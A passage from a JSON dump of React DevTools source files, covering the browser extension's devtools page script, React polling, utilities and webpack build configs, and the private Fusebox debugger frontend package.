root.unmount());\n  } else {\n    bridge?.shutdown();\n  }\n\n  componentsPortalContainer = null;\n  profilerPortalContainer = null;\n  suspensePortalContainer = null;\n  root = (null: $FlowFixMe);\n\n  mostRecentOverrideTab = null;\n  store = (null: $FlowFixMe);\n  bridge = (null: $FlowFixMe);\n  render = (null: $FlowFixMe);\n\n  port?.disconnect();\n  port = (null: $FlowFixMe);\n}\n\nfunction connectExtensionPort(): void {\n  if (port) {\n    throw new Error('DevTools port was already connected');\n  }\n\n  const tabId = chrome.devtools.inspectedWindow.tabId;\n  port = chrome.runtime.connect({\n    name: String(tabId),\n  });\n\n  // If DevTools port was reconnected and Bridge was already created\n  // We should subscribe bridge to this port events\n  // This could happen if service worker dies and all ports are disconnected,\n  // but later user continues the session and Chrome reconnects all ports\n  // Bridge object is still in-memory, though\n  if (lastSubscribedBridgeListener) {\n    port.onMessage.addListener(lastSubscribedBridgeListener);\n  }\n\n  // This port may be disconnected by Chrome at some point, this callback\n  // will be executed only if this port was disconnected from the other end\n  // so, when we call `port.disconnect()` from this script,\n  // this should not trigger this callback and port reconnection\n  port.onDisconnect.addListener(() => {\n    port = (null: $FlowFixMe);\n    connectExtensionPort();\n  });\n}\n\nfunction mountReactDevTools() {\n  reactPollingInstance = null;\n\n  registerEventsLogger();\n\n  createBridgeAndStore();\n\n  createComponentsPanel();\n  createProfilerPanel();\n  createSourcesEditorPanel();\n  createElementsInspectPanel();\n  createSuspensePanel();\n}\n\nlet reactPollingInstance = null;\nfunction clearReactPollingInstance() {\n  reactPollingInstance?.abort();\n  reactPollingInstance = null;\n}\n\nfunction showNoReactDisclaimer() {\n  if (componentsPortalContainer) {\n    componentsPortalContainer.innerHTML =\n      '<h1 class=\"no-react-disclaimer\">Looks like this page doesn\\'t have React, or it hasn\\'t been loaded yet.</h1>';\n    delete componentsPortalContainer._hasInitialHTMLBeenCleared;\n  }\n\n  if (profilerPortalContainer) {\n    profilerPortalContainer.innerHTML =\n      '<h1 class=\"no-react-disclaimer\">Looks like this page doesn\\'t have React, or it hasn\\'t been loaded yet.</h1>';\n    delete profilerPortalContainer._hasInitialHTMLBeenCleared;\n  }\n\n  if (suspensePortalContainer) {\n    suspensePortalContainer.innerHTML =\n      '<h1 class=\"no-react-disclaimer\">Looks like this page doesn\\'t have React, or it hasn\\'t been loaded yet.</h1>';\n    delete suspensePortalContainer._hasInitialHTMLBeenCleared;\n  }\n}\n\nfunction mountReactDevToolsWhenReactHasLoaded() {\n  reactPollingInstance = startReactPolling(\n    mountReactDevTools,\n    5, // ~5 seconds\n    showNoReactDisclaimer,\n  );\n}\n\nlet bridge: FrontendBridge = (null: $FlowFixMe);\nlet lastSubscribedBridgeListener = null;\nlet store: Store = (null: $FlowFixMe);\n\nlet profilingData = null;\n\nlet componentsPanel = null;\nlet profilerPanel = null;\nlet suspensePanel = null;\nlet editorPane = null;\nlet inspectedElementPane = null;\nlet componentsPortalContainer = null;\nlet profilerPortalContainer = null;\nlet suspensePortalContainer = null;\nlet editorPortalContainer = null;\nlet inspectedElementPortalContainer = null;\n\nlet mostRecentOverrideTab: null | TabID = null;\nlet render: (overrideTab?: TabID) => void = (null: $FlowFixMe);\nlet root: RootType = (null: $FlowFixMe);\n\nlet currentSelectedSource: null | SourceSelection = null;\n\nlet port: ExtensionRuntimePort = (null: $FlowFixMe);\n\n// In case when multiple navigation events emitted in a short period of time\n// This debounced callback primarily used to avoid mounting React DevTools multiple times, which results\n// into subscribing to the same events from Bridge and window multiple times\n// In this case, we will handle `operations` event twice or more and user will see\n// `Cannot add node \"1\" because a node with that id is already in the Store.`\nconst debouncedMountReactDevToolsCallback = debounce(\n  mountReactDevToolsWhenReactHasLoaded,\n  500,\n);\n\n// Clean up everything, but start mounting React DevTools panels if user stays at this page\nfunction onNavigatedToOtherPage() {\n  performInTabNavigationCleanup();\n  debouncedMountReactDevToolsCallback();\n}\n\n// Cleanup previous page state and remount everything\nchrome.devtools.network.onNavigated.addListener(onNavigatedToOtherPage);\n\n// Should be emitted when browser DevTools are closed\nif (__IS_FIREFOX__) {\n  // For some reason Firefox doesn't emit onBeforeUnload event\n  window.addEventListener('unload', performFullCleanup);\n} else {\n  window.addEventListener('beforeunload', performFullCleanup);\n}\n\nconnectExtensionPort();\n\nmountReactDevToolsWhenReactHasLoaded();\n\nfunction onThemeChanged() {\n  // Rerender with the new theme\n  render();\n}\n\nif (chrome.devtools.panels.setThemeChangeHandler) {\n  // Chrome\n  chrome.devtools.panels.setThemeChangeHandler(onThemeChanged);\n} else if (chrome.devtools.panels.onThemeChanged) {\n  // Firefox\n  chrome.devtools.panels.onThemeChanged.addListener(onThemeChanged);\n}\n\n// Firefox doesn't support resources handlers yet.\nif (chrome.devtools.panels.setOpenResourceHandler) {\n  chrome.devtools.panels.setOpenResourceHandler(\n    (\n      resource,\n      lineNumber = 1,\n      // The column is a new feature so we have to specify a default if it doesn't exist\n      columnNumber = 1,\n    ) => {\n      const alwaysOpenInEditor = getAlwaysOpenInEditor();\n      const editorURL = getOpenInEditorURL();\n      if (alwaysOpenInEditor && editorURL) {\n        const location = ['', resource.url, lineNumber, columnNumber];\n        const {url, shouldDisableButton} = checkConditions(editorURL, location);\n        if (!shouldDisableButton) {\n          window.open(url);\n          return;\n        }\n      }\n      // Otherwise fallback to the built-in behavior.\n      chrome.devtools.panels.openResource(\n        resource.url,\n        lineNumber - 1,\n        columnNumber - 1,\n        maybeError => {\n          if (maybeError && maybeError.isError) {\n            // Not a resource Chrome can open. Fallback to browser default behavior.\n            window.open(resource.url);\n          }\n        },\n      );\n    },\n  );\n}\n"
  },
  {
    "path": "packages/react-devtools-extensions/src/main/injectBackendManager.js",
    "content": "/* global chrome */\n\nfunction injectBackendManager(tabId) {\n  chrome.runtime.sendMessage({\n    source: 'devtools-page',\n    payload: {\n      type: 'inject-backend-manager',\n      tabId,\n    },\n  });\n}\n\nexport default injectBackendManager;\n"
  },
  {
    "path": "packages/react-devtools-extensions/src/main/reactPolling.js",
    "content": "import {evalInInspectedWindow} from './evalInInspectedWindow';\n\nclass CouldNotFindReactOnThePageError extends Error {\n  constructor() {\n    super(\"Could not find React, or it hasn't been loaded yet\");\n\n    // Maintains proper stack trace for where our error was thrown (only available on V8)\n    if (Error.captureStackTrace) {\n      Error.captureStackTrace(this, CouldNotFindReactOnThePageError);\n    }\n\n    this.name = 'CouldNotFindReactOnThePageError';\n  }\n}\n\nexport function startReactPolling(\n  onReactFound,\n  attemptsThreshold,\n  onCouldNotFindReactAfterReachingAttemptsThreshold,\n) {\n  let status = 'idle';\n\n  function abort() {\n    status = 'aborted';\n  }\n\n  // This function will call onSuccess only if React was found and polling is not aborted, onError will be called for every other case\n  function checkIfReactPresentInInspectedWindow(onSuccess, onError) {\n    evalInInspectedWindow(\n      'checkIfReactPresentInInspectedWindow',\n      [],\n      (pageHasReact, exceptionInfo) => {\n        if (status === 'aborted') {\n          onError(\n            'Polling was aborted, user probably navigated to the other page',\n          );\n          return;\n        }\n\n        if (exceptionInfo) {\n          const {code, description, isError, isException, value} =\n            exceptionInfo;\n\n          if (isException) {\n            onError(\n              `Received error while checking if react has loaded: ${value}`,\n            );\n            return;\n          }\n\n          if (isError) {\n            onError(\n              `Received error with code ${code} while checking if react has loaded: \"${description}\"`,\n            );\n            return;\n          }\n        }\n\n        if (pageHasReact) {\n          onSuccess();\n          return;\n        }\n\n        onError(new CouldNotFindReactOnThePageError());\n      },\n    );\n  }\n\n  // Just a Promise wrapper around `checkIfReactPresentInInspectedWindow`\n  // returns a Promise, which will resolve only if React has been found on the page\n  function poll(attempt) {\n    return new Promise((resolve, reject) => {\n      checkIfReactPresentInInspectedWindow(resolve, reject);\n    }).catch(error => {\n      if (error instanceof CouldNotFindReactOnThePageError) {\n        if (attempt === attemptsThreshold) {\n          onCouldNotFindReactAfterReachingAttemptsThreshold();\n        }\n\n        // Start next attempt in 0.5s\n        return new Promise(r => setTimeout(r, 500)).then(() =>\n          poll(attempt + 1),\n        );\n      }\n\n      // Propagating every other Error\n      throw error;\n    });\n  }\n\n  poll(1)\n    .then(onReactFound)\n    .catch(error => {\n      // Log propagated errors only if polling was not aborted\n      // Some errors are expected when user performs in-tab navigation and `.eval()` is still being executed\n      if (status === 'aborted') {\n        return;\n      }\n\n      console.error(error);\n    });\n\n  return {abort};\n}\n"
  },
  {
    "path": "packages/react-devtools-extensions/src/main/registerEventsLogger.js",
    "content": "/* global chrome */\n\nimport {registerDevToolsEventLogger} from 'react-devtools-shared/src/registerDevToolsEventLogger';\n\nfunction registerEventsLogger() {\n  registerDevToolsEventLogger('extension', async () => {\n    const tabs = await chrome.tabs.query({active: true});\n    return {page_url: tabs[0]?.url};\n  });\n}\n\nexport default registerEventsLogger;\n"
  },
  {
    "path": "packages/react-devtools-extensions/src/main/requestAnimationFramePolyfill.js",
    "content": "// rAF never fires on devtools_page (because it's in the background)\n// https://bugs.chromium.org/p/chromium/issues/detail?id=1241986#c31\n// Since we render React elements here, we need to polyfill it with setTimeout\n// The polyfill is based on https://gist.github.com/jalbam/5fe05443270fa6d8136238ec72accbc0\nconst FRAME_TIME = 16;\nlet lastTime = 0;\n\nwindow.requestAnimationFrame = function (callback, element) {\n  const now = window.performance.now();\n  const nextTime = Math.max(lastTime + FRAME_TIME, now);\n\n  return setTimeout(function () {\n    callback((lastTime = nextTime));\n  }, nextTime - now);\n};\n\nwindow.cancelAnimationFrame = clearTimeout;\n"
  },
  {
    "path": "packages/react-devtools-extensions/src/main/sourceSelection.js",
    "content": "import {evalInInspectedWindow} from './evalInInspectedWindow';\n\nexport function viewAttributeSource(rendererID, elementID, path) {\n  evalInInspectedWindow(\n    'viewAttributeSource',\n    [{rendererID, elementID, path}],\n    (didInspect, evalError) => {\n      if (evalError) {\n        console.error(evalError);\n      }\n    },\n  );\n}\n\nexport function viewElementSource(rendererID, elementID) {\n  evalInInspectedWindow(\n    'viewElementSource',\n    [{rendererID, elementID}],\n    (didInspect, evalError) => {\n      if (evalError) {\n        console.error(evalError);\n      }\n    },\n  );\n}\n"
  },
  {
    "path": "packages/react-devtools-extensions/src/panel.js",
    "content": "// Portal target container.\nwindow.container = document.getElementById('container');\n\nlet hasInjectedStyles = false;\n\n// DevTools styles are injected into the top-level document head (where the main React app is rendered).\n// This method copies those styles to the child window where each panel (e.g. Elements, Profiler) is portaled.\nwindow.injectStyles = getLinkTags => {\n  if (!hasInjectedStyles) {\n    hasInjectedStyles = true;\n\n    const linkTags = getLinkTags();\n\n    // eslint-disable-next-line no-for-of-loops/no-for-of-loops\n    for (const linkTag of linkTags) {\n      document.head.appendChild(linkTag);\n    }\n  }\n};\n"
  },
  {
    "path": "packages/react-devtools-extensions/src/utils.js",
    "content": "/* global chrome */\n\nimport type {BrowserTheme} from 'react-devtools-shared/src/devtools/views/DevTools';\n\nexport function getBrowserTheme(): BrowserTheme {\n  if (__IS_CHROME__) {\n    // chrome.devtools.panels added in Chrome 18.\n    // chrome.devtools.panels.themeName added in Chrome 54.\n    return chrome.devtools.panels.themeName === 'dark' ? 'dark' : 'light';\n  } else {\n    // chrome.devtools.panels.themeName added in Firefox 55.\n    // https://developer.mozilla.org/en-US/Add-ons/WebExtensions/API/devtools.panels/themeName\n    if (chrome.devtools && chrome.devtools.panels) {\n      switch (chrome.devtools.panels.themeName) {\n        case 'dark':\n          return 'dark';\n        default:\n          return 'light';\n      }\n    }\n  }\n}\n\nexport const COMPACT_VERSION_NAME = 'compact';\nexport const EXTENSION_CONTAINED_VERSIONS = [COMPACT_VERSION_NAME];\n"
  },
  {
    "path": "packages/react-devtools-extensions/utils.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nconst {execSync} = require('child_process');\nconst {existsSync, readFileSync} = require('fs');\nconst {resolve} = require('path');\n\nconst GITHUB_URL = 'https://github.com/facebook/react';\n\nfunction getGitCommit() {\n  try {\n    return execSync('git show -s --no-show-signature --format=%h')\n      .toString()\n      .trim();\n  } catch (error) {\n    // Mozilla runs this command from a git archive.\n    // In that context, there is no Git context.\n    // Using the commit hash specified to download-experimental-build.js script as a fallback.\n\n    // Try to read from build/COMMIT_SHA file\n    const commitShaPath = resolve(__dirname, '..', '..', 'build', 'COMMIT_SHA');\n    if (!existsSync(commitShaPath)) {\n      throw new Error(\n        'Could not find build/COMMIT_SHA file. Did you run scripts/release/download-experimental-build.js script?',\n      );\n    }\n\n    try {\n      const commitHash = readFileSync(commitShaPath, 'utf8').trim();\n      // Return short hash (first 7 characters) to match abbreviated commit hash format\n      return commitHash.slice(0, 7);\n    } catch (readError) {\n      throw new Error(\n        `Failed to read build/COMMIT_SHA file: ${readError.message}`,\n      );\n    }\n  }\n}\n\nfunction getVersionString(packageVersion = null) {\n  if (packageVersion == null) {\n    packageVersion = JSON.parse(\n      readFileSync(\n        resolve(__dirname, '..', 'react-devtools-core', './package.json'),\n      ),\n    ).version;\n  }\n\n  const commit = getGitCommit();\n\n  return `${packageVersion}-${commit}`;\n}\n\nmodule.exports = {\n  GITHUB_URL,\n  getGitCommit,\n  getVersionString,\n};\n"
  },
  {
    "path": "packages/react-devtools-extensions/webpack.config.js",
    "content": "'use strict';\n\nconst {resolve, isAbsolute, relative} = require('path');\nconst Webpack = require('webpack');\nconst TerserPlugin = require('terser-webpack-plugin');\nconst {GITHUB_URL, getVersionString} = require('./utils');\nconst {resolveFeatureFlags} = require('react-devtools-shared/buildUtils');\nconst SourceMapIgnoreListPlugin = require('react-devtools-shared/SourceMapIgnoreListPlugin');\nconst {StatsWriterPlugin} = require('webpack-stats-plugin');\n\nconst NODE_ENV = process.env.NODE_ENV;\nif (!NODE_ENV) {\n  console.error('NODE_ENV not set');\n  process.exit(1);\n}\n\nconst builtModulesDir = resolve(\n  __dirname,\n  '..',\n  '..',\n  'build',\n  'oss-experimental',\n);\n\nconst __DEV__ = NODE_ENV === 'development';\n\nconst DEVTOOLS_VERSION = getVersionString(process.env.DEVTOOLS_VERSION);\n\nconst EDITOR_URL = process.env.EDITOR_URL || null;\nconst LOGGING_URL = process.env.LOGGING_URL || null;\n\nconst IS_CHROME = process.env.IS_CHROME === 'true';\nconst IS_FIREFOX = process.env.IS_FIREFOX === 'true';\nconst IS_EDGE = process.env.IS_EDGE === 'true';\nconst IS_INTERNAL_VERSION = process.env.FEATURE_FLAG_TARGET === 'extension-fb';\n\nconst featureFlagTarget = process.env.FEATURE_FLAG_TARGET || 'extension-oss';\n\nlet statsFileName = `webpack-stats.${featureFlagTarget}.${__DEV__ ? 'development' : 'production'}`;\nif (IS_CHROME) {\n  statsFileName += `.chrome`;\n}\nif (IS_FIREFOX) {\n  statsFileName += `.firefox`;\n}\nif (IS_EDGE) {\n  statsFileName += `.edge`;\n}\nstatsFileName += '.json';\n\nconst babelOptions = {\n  configFile: resolve(\n    __dirname,\n    '..',\n    'react-devtools-shared',\n    'babel.config.js',\n  ),\n};\n\nmodule.exports = {\n  mode: __DEV__ ? 'development' : 'production',\n  devtool: false,\n  entry: {\n    backend: './src/backend.js',\n    background: './src/background/index.js',\n    backendManager: './src/contentScripts/backendManager.js',\n    fallbackEvalContext: './src/contentScripts/fallbackEvalContext.js',\n    fileFetcher: './src/contentScripts/fileFetcher.js',\n    main: './src/main/index.js',\n    panel: './src/panel.js',\n    proxy: './src/contentScripts/proxy.js',\n    prepareInjection: './src/contentScripts/prepareInjection.js',\n    installHook: './src/contentScripts/installHook.js',\n    hookSettingsInjector: './src/contentScripts/hookSettingsInjector.js',\n  },\n  output: {\n    path: __dirname + '/build',\n    publicPath: '/build/',\n    filename: chunkData => {\n      switch (chunkData.chunk.name) {\n        case 'backend':\n          return 'react_devtools_backend_compact.js';\n        default:\n          return '[name].js';\n      }\n    },\n    chunkFilename: '[name].chunk.js',\n  },\n  node: {\n    global: false,\n  },\n  resolve: {\n    alias: {\n      react: resolve(builtModulesDir, 'react'),\n      'react-debug-tools': resolve(builtModulesDir, 'react-debug-tools'),\n      'react-devtools-feature-flags': resolveFeatureFlags(featureFlagTarget),\n      'react-dom/client': resolve(builtModulesDir, 'react-dom/client'),\n      'react-dom': resolve(builtModulesDir, 'react-dom'),\n      'react-is': resolve(builtModulesDir, 'react-is'),\n      scheduler: resolve(builtModulesDir, 'scheduler'),\n    },\n  },\n  optimization: {\n    minimize: !__DEV__,\n    minimizer: [\n      new TerserPlugin({\n        terserOptions: {\n          compress: {\n            unused: true,\n            dead_code: true,\n          },\n          mangle: {\n            keep_fnames: true,\n          },\n          format: {\n            comments: false,\n          },\n        },\n        extractComments: false,\n      }),\n    ],\n  },\n  plugins: [\n    new Webpack.ProvidePlugin({\n      process: 'process/browser',\n    }),\n    new Webpack.DefinePlugin({\n      __DEV__,\n      __EXPERIMENTAL__: true,\n      __EXTENSION__: true,\n      __PROFILE__: false,\n      __TEST__: NODE_ENV === 'test',\n      __IS_CHROME__: IS_CHROME,\n      __IS_FIREFOX__: IS_FIREFOX,\n      __IS_EDGE__: IS_EDGE,\n      __IS_NATIVE__: false,\n      __IS_INTERNAL_VERSION__: IS_INTERNAL_VERSION,\n      'process.env.DEVTOOLS_PACKAGE': `\"react-devtools-extensions\"`,\n      'process.env.DEVTOOLS_VERSION': `\"${DEVTOOLS_VERSION}\"`,\n      'process.env.EDITOR_URL': EDITOR_URL != null ? `\"${EDITOR_URL}\"` : null,\n      'process.env.GITHUB_URL': `\"${GITHUB_URL}\"`,\n      'process.env.LOGGING_URL': `\"${LOGGING_URL}\"`,\n      'process.env.NODE_ENV': `\"${NODE_ENV}\"`,\n    }),\n    new Webpack.SourceMapDevToolPlugin({\n      filename: '[file].map',\n      include: ['installHook.js', 'react_devtools_backend_compact.js'],\n      noSources: !__DEV__,\n      // https://github.com/webpack/webpack/issues/3603#issuecomment-1743147144\n      moduleFilenameTemplate(info) {\n        const {absoluteResourcePath, namespace, resourcePath} = info;\n\n        if (isAbsolute(absoluteResourcePath)) {\n          return relative(__dirname + '/build', absoluteResourcePath);\n        }\n\n        // Mimic Webpack's default behavior:\n        return `webpack://${namespace}/${resourcePath}`;\n      },\n    }),\n    new SourceMapIgnoreListPlugin({\n      shouldIgnoreSource: (assetName, _source) => {\n        if (__DEV__) {\n          // Don't ignore list anything in DEV build for debugging purposes\n          return false;\n        }\n\n        const contentScriptNamesToIgnoreList = [\n          'react_devtools_backend_compact',\n          // This is where we override console\n          'installHook',\n        ];\n\n        return contentScriptNamesToIgnoreList.some(ignoreListName =>\n          assetName.startsWith(ignoreListName),\n        );\n      },\n    }),\n    {\n      apply(compiler) {\n        if (__DEV__) {\n          return;\n        }\n\n        const {RawSource} = compiler.webpack.sources;\n        compiler.hooks.compilation.tap(\n          'CustomContentForHookScriptPlugin',\n          compilation => {\n            compilation.hooks.processAssets.tap(\n              {\n                name: 'CustomContentForHookScriptPlugin',\n                stage: Webpack.Compilation.PROCESS_ASSETS_STAGE_DEV_TOOLING,\n                additionalAssets: true,\n              },\n              assets => {\n                // eslint-disable-next-line no-for-of-loops/no-for-of-loops\n                for (const [name, asset] of Object.entries(assets)) {\n                  if (name !== 'installHook.js.map') {\n                    continue;\n                  }\n\n                  const mapContent = asset.source().toString();\n                  if (!mapContent) {\n                    continue;\n                  }\n\n                  const map = JSON.parse(mapContent);\n                  map.sourcesContent = map.sources.map(sourceName => {\n                    if (!sourceName.endsWith('/hook.js')) {\n                      return null;\n                    }\n\n                    return (\n                      '/*\\n' +\n                      ' * This script is from React DevTools.\\n' +\n                      \" * You're likely here because you thought it sent an error or warning to the console.\\n\" +\n                      ' * React DevTools patches the console to support features like appending component stacks, \\n' +\n                      ' * so this file appears as a source. However, the console call actually came from another script.\\n' +\n                      \" * To remove this script from stack traces, open your browser's DevTools (to enable source mapping) before these console calls happen.\\n\" +\n                      ' */'\n                    );\n                  });\n\n                  compilation.updateAsset(\n                    name,\n                    new RawSource(JSON.stringify(map)),\n                  );\n                }\n              },\n            );\n          },\n        );\n      },\n    },\n    new StatsWriterPlugin({\n      stats: 'verbose',\n      filename: statsFileName,\n    }),\n  ],\n  module: {\n    defaultRules: [\n      {\n        type: 'javascript/auto',\n        resolve: {},\n      },\n      {\n        test: /\\.json$/i,\n        type: 'json',\n      },\n    ],\n\n    rules: [\n      {\n        test: /\\.worker\\.js$/,\n        use: [\n          {\n            loader: 'workerize-loader',\n            options: {\n              inline: false,\n              name: '[name]',\n            },\n          },\n          {\n            loader: 'babel-loader',\n            options: babelOptions,\n          },\n        ],\n      },\n      {\n        test: /\\.js$/,\n        loader: 'babel-loader',\n        options: babelOptions,\n      },\n      {\n        test: /\\.css$/,\n        use: [\n          {\n            loader: 'style-loader',\n          },\n          {\n            loader: 'css-loader',\n            options: {\n              sourceMap: __DEV__,\n              modules: true,\n              localIdentName: '[local]___[hash:base64:5]',\n            },\n          },\n        ],\n      },\n    ],\n  },\n};\n"
  },
  {
    "path": "packages/react-devtools-fusebox/README.md",
    "content": "# react-native-fusebox\n\nThis package is private and not expected to become public anytime soon. Consider using [react-devtools-inline](https://github.com/facebook/react/tree/main/packages/react-devtools-inline) or [react-devtools-core](https://github.com/facebook/react/tree/main/packages/react-devtools-core).\n\n## What is Fusebox?\n\"Fusebox\" is the internal codename for the new React Native debugger stack based on Chrome DevTools.\n"
  },
  {
    "path": "packages/react-devtools-fusebox/package.json",
    "content": "{\n  \"name\": \"react-devtools-fusebox\",\n  \"version\": \"0.0.0\",\n  \"private\": \"true\",\n  \"license\": \"MIT\",\n  \"files\": [\"dist\"],\n  \"scripts\": {\n    \"build:frontend:copy-types\": \"cp src/*.d.ts dist/\",\n    \"build:frontend:local\": \"cross-env NODE_ENV=development webpack --config webpack.config.frontend.js && yarn build:frontend:copy-types\",\n    \"build:frontend\": \"cross-env NODE_ENV=production webpack --config webpack.config.frontend.js && yarn build:frontend:copy-types\",\n    \"build\": \"yarn build:frontend\"\n  },\n  \"devDependencies\": {\n    \"buffer\": \"^6.0.3\",\n    \"cross-env\": \"^7.0.3\",\n    \"css-loader\": \"^6.9.1\",\n    \"mini-css-extract-plugin\": \"^2.7.7\",\n    \"process\": \"^0.11.10\",\n    \"webpack\": \"^5.82.1\",\n    \"webpack-cli\": \"^5.1.1\",\n    \"workerize-loader\": \"^2.0.2\"\n  }\n}\n"
  },
  {
    "path": "packages/react-devtools-fusebox/src/frontend.d.ts",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nexport type MessagePayload =\n  | null\n  | string\n  | number\n  | boolean\n  | {[key: string]: MessagePayload}\n  | MessagePayload[];\nexport type Message = {event: string; payload?: MessagePayload};\n\nexport type WallListener = (message: Message) => void;\nexport type Wall = {\n  listen: (fn: WallListener) => Function;\n  send: (event: string, payload?: MessagePayload) => void;\n};\n\nexport type Bridge = {\n  addListener(event: string, listener: (params: unknown) => any): void;\n  removeListener(event: string, listener: Function): void;\n  shutdown: () => void;\n};\nexport type Store = Object;\nexport type BrowserTheme = 'dark' | 'light';\nexport type Config = {\n  supportsReloadAndProfile?: boolean;\n};\n\nexport function createBridge(wall: Wall): Bridge;\nexport function createStore(bridge: Bridge, config?: Config): Store;\n\nexport type ReactFunctionLocation = [\n  string, // function name\n  string, // file name TODO: model nested eval locations as nested arrays\n  number, // enclosing line number\n  number, // enclosing column number\n];\nexport type ReactCallSite = [\n  string, // function name\n  string, // file name TODO: model nested eval locations as nested arrays\n  number, // line number\n  number, // column number\n  number, // enclosing line number\n  number, // enclosing column number\n  boolean, // async resume\n];\nexport type ViewElementSource = (\n  source: ReactFunctionLocation | ReactCallSite,\n  symbolicatedSource: ReactFunctionLocation | ReactCallSite | null,\n) => void;\nexport type ViewAttributeSource = (\n  id: number,\n  path: Array<string | number>,\n) => void;\nexport type CanViewElementSource = (\n  source: ReactFunctionLocation | ReactCallSite,\n  symbolicatedSource: ReactFunctionLocation | ReactCallSite | null,\n) => boolean;\nexport type FetchFileWithCaching = (url: string) => Promise<string>;\n\nexport type InitializationOptions = {\n  bridge: Bridge;\n  store: Store;\n  theme?: BrowserTheme;\n  viewAttributeSourceFunction?: ViewAttributeSource;\n  viewElementSourceFunction?: ViewElementSource;\n  canViewElementSourceFunction?: CanViewElementSource;\n  fetchFileWithCaching?: FetchFileWithCaching;\n};\n\nexport function initializeComponents(\n  node: Element | Document,\n  options: InitializationOptions,\n): void;\nexport function initializeProfiler(\n  node: Element | Document,\n  options: InitializationOptions,\n): void;\n"
  },
  {
    "path": "packages/react-devtools-fusebox/src/frontend.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport * as React from 'react';\nimport {createRoot} from 'react-dom/client';\nimport Bridge from 'react-devtools-shared/src/bridge';\nimport Store from 'react-devtools-shared/src/devtools/store';\nimport DevTools from 'react-devtools-shared/src/devtools/views/DevTools';\n\nimport type {\n  BrowserTheme,\n  Wall,\n} from 'react-devtools-shared/src/frontend/types';\nimport type {FrontendBridge} from 'react-devtools-shared/src/bridge';\nimport type {\n  CanViewElementSource,\n  TabID,\n  ViewAttributeSource,\n  ViewElementSource,\n} from 'react-devtools-shared/src/devtools/views/DevTools';\nimport type {FetchFileWithCaching} from 'react-devtools-shared/src/devtools/views/Components/FetchFileWithCachingContext';\nimport type {Config} from 'react-devtools-shared/src/devtools/store';\n\nexport function createBridge(wall?: Wall): FrontendBridge {\n  if (wall != null) {\n    return new Bridge(wall);\n  }\n\n  return new Bridge({listen: () => {}, send: () => {}});\n}\n\nexport function createStore(bridge: FrontendBridge, config?: Config): Store {\n  return new Store(bridge, {\n    checkBridgeProtocolCompatibility: true,\n    supportsTraceUpdates: true,\n    supportsClickToInspect: true,\n    ...config,\n  });\n}\n\ntype InitializationOptions = {\n  bridge: FrontendBridge,\n  store: Store,\n  theme?: BrowserTheme,\n  viewAttributeSourceFunction?: ViewAttributeSource,\n  viewElementSourceFunction?: ViewElementSource,\n  canViewElementSourceFunction?: CanViewElementSource,\n  fetchFileWithCaching?: FetchFileWithCaching,\n};\n\nfunction initializeTab(\n  tab: TabID,\n  contentWindow: Element | Document,\n  options: InitializationOptions,\n) {\n  const {\n    bridge,\n    store,\n    theme = 'light',\n    viewAttributeSourceFunction,\n    viewElementSourceFunction,\n    canViewElementSourceFunction,\n    fetchFileWithCaching,\n  } = options;\n  const root = createRoot(contentWindow);\n\n  root.render(\n    <DevTools\n      bridge={bridge}\n      browserTheme={theme}\n      store={store}\n      showTabBar={false}\n      overrideTab={tab}\n      warnIfLegacyBackendDetected={true}\n      enabledInspectedElementContextMenu={true}\n      viewAttributeSourceFunction={viewAttributeSourceFunction}\n      viewElementSourceFunction={viewElementSourceFunction}\n      canViewElementSourceFunction={canViewElementSourceFunction}\n      fetchFileWithCaching={fetchFileWithCaching}\n    />,\n  );\n}\n\nexport function initializeComponents(\n  contentWindow: Element | Document,\n  options: InitializationOptions,\n): void {\n  initializeTab('components', contentWindow, options);\n}\n\nexport function initializeProfiler(\n  contentWindow: Element | Document,\n  options: InitializationOptions,\n): void {\n  initializeTab('profiler', contentWindow, options);\n}\n"
  },
  {
    "path": "packages/react-devtools-fusebox/webpack.config.frontend.js",
    "content": "const {resolve} = require('path');\nconst Webpack = require('webpack');\nconst {\n  GITHUB_URL,\n  getVersionString,\n} = require('react-devtools-extensions/utils');\nconst {resolveFeatureFlags} = require('react-devtools-shared/buildUtils');\nconst MiniCssExtractPlugin = require('mini-css-extract-plugin');\n\nconst NODE_ENV = process.env.NODE_ENV;\nif (!NODE_ENV) {\n  console.error('NODE_ENV not set');\n  process.exit(1);\n}\n\nconst builtModulesDir = resolve(\n  __dirname,\n  '..',\n  '..',\n  'build',\n  'oss-experimental',\n);\n\nconst __DEV__ = NODE_ENV === 'development';\n\nconst EDITOR_URL = process.env.EDITOR_URL || null;\n\nconst DEVTOOLS_VERSION = getVersionString();\n\nconst babelOptions = {\n  configFile: resolve(\n    __dirname,\n    '..',\n    'react-devtools-shared',\n    'babel.config.js',\n  ),\n};\n\nmodule.exports = {\n  mode: __DEV__ ? 'development' : 'production',\n  entry: {\n    frontend: './src/frontend.js',\n  },\n  experiments: {\n    outputModule: true,\n  },\n  output: {\n    path: __dirname + '/dist',\n    publicPath: '/dist/',\n    filename: '[name].js',\n    chunkFilename: '[name].chunk.js',\n    library: {\n      type: 'module',\n    },\n  },\n  node: {\n    global: false,\n  },\n  resolve: {\n    alias: {\n      'react-devtools-feature-flags': resolveFeatureFlags('fusebox'),\n      react: resolve(builtModulesDir, 'react'),\n      'react-debug-tools': resolve(builtModulesDir, 'react-debug-tools'),\n      'react-dom/client': resolve(builtModulesDir, 'react-dom/client'),\n      'react-dom': resolve(builtModulesDir, 'react-dom'),\n      'react-is': resolve(builtModulesDir, 'react-is'),\n      scheduler: resolve(builtModulesDir, 'scheduler'),\n    },\n  },\n  optimization: {\n    minimize: false,\n  },\n  plugins: [\n    new MiniCssExtractPlugin(),\n    new Webpack.ProvidePlugin({\n      process: 'process/browser',\n    }),\n    new Webpack.DefinePlugin({\n      __DEV__,\n      __EXPERIMENTAL__: true,\n      __EXTENSION__: false,\n      __PROFILE__: false,\n      __TEST__: NODE_ENV === 'test',\n      __IS_NATIVE__: true,\n      __IS_CHROME__: false,\n      __IS_FIREFOX__: false,\n      __IS_EDGE__: false,\n      'process.env.DEVTOOLS_PACKAGE': `\"react-devtools-fusebox\"`,\n      'process.env.DEVTOOLS_VERSION': `\"${DEVTOOLS_VERSION}\"`,\n      'process.env.EDITOR_URL': 